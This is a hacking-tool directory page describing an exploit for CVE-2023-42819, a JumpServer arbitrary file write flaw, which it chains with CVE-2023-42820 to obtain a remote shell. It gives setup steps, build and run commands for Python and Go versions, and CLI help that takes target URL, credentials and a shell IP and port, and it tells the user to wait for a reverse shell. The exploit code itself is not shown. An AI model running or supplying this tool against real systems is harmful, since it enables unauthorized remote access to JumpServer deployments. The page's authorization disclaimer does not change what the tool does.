Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-42819 — CVE-2023-42819 | Kitploit
Tools/GitHubGitHub/c1ph3rx13/cve-2023-42819
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration Testing
GitHubc1ph3rx13/cve-2023-42819

CVE-2023-42819

CVE-2023-42819

View Repository
6312 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-42819

CVE-2023-42819

Vulnerability Description

JumpServer Arbitrary File Write Vulnerability

CVE-2023-42819 + CVE-2023-42820 = GetShell

USAGE

  1. Place the script and required files in the same directory

  2. Ensure Google Chrome is installed, and obtain its version number

root@kitploit:~
reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version

  1. After downloading chromedriver corresponding to your Google Chrome version and system, place it in the webdriver directory

    Latest version: https://googlechromelabs.github.io/chrome-for-testing/

    Historical versions: https://chromedriver.chromium.org/downloads/version-selection

    So many demands : (

  2. Listen on the corresponding IP and Port, and wait for a reverse shell

Python Version

root@kitploit:~
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝

                                                                            @Auth: C1ph3rX13
                                                                            @Blog: https://c1ph3rx13.github.io
                                                                            @Note: 代码仅供学习使用，请勿用于其他用途

usage: CVE-2023-42819-Fin.py [-h] -t TARGET -u USERNAME -p PASSWORD --ip IP --port PORT [--proxy PROXY]

CVE-2023-42819 by C1ph3rX13.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target url
  -u USERNAME, --username USERNAME
                        account username
  -p PASSWORD, --password PASSWORD
                        account password
  --ip IP               shell ip
  --port PORT           shell port
  --proxy PROXY         proxy to http://ip:port

image-1

image-1

Go Version

Build

root@kitploit:~
go mod init CVE-2023-42819
go mod tidy
go build -ldflags="-s -w" -trimpath

Run

root@kitploit:~
.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
             

        ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗       ██╗  ██╗██████╗  █████╗  ██╗ █████╗  
        ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ██║  ██║╚════██╗██╔══██╗███║██╔══██╗
        ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
        ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
        ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝           ██║███████╗╚█████╔╝ ██║ █████╔╝
        ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝            ╚═╝╚══════╝ ╚════╝  ╚═╝ ╚════╝  
                                                                                                                
    @Auth: C1ph3rX13                                                                                            
    @Blog: https://c1ph3rx13.github.io                                                                          
    @Note: 代码仅供学习使用，请勿用于其他用途                                                                   

Usage of CVE-2023-42819.exe:
  -ip string                                                                  
        Shell IP
  -p string
        Account Password
  -port string
        Shell Port
  -proxy string
        Proxy Url
  -t string
        Target Url
  -u string
        Account Username

image-1

TODO

  • The solution for cross-origin is not elegant enough
  • Rewrite using httpx
  • Add EXP func
  • Rewrite using go-resty
  • Login with incorrect password leading to CAPTCHA bypass
  • Increase types of reverse shells
  • Use headless mode to support Linux
  • Add http, https, socks proxies
  • CVE-2023-42819 + CVE-2023-42820 One-click GetShell
  • Set so many flags, maybe can't finish : (

Maintenance

  • 2023-10-18 Added website automated detection bypass - Python Version
  • 2023-10-18 Refactored client functions
  • 2023-10-18 Simplified runtime logic
  • 2023-10-18 Linux testing OK - Go Version

Disclaimer

  1. This tool is intended only for penetration testers with legal authorization and network operators performing routine operations. Users may download, copy, distribute, or use it only with sufficient legal authorization and for non-commercial purposes.

  2. During the use of this tool, you must ensure that all your actions comply with local laws and regulations, and you must not use this software for activities that violate the relevant laws of the People's Republic of China. All authors and contributors of this tool assume no responsibility for any illegal activities resulting from unauthorized use by users.

Download Tool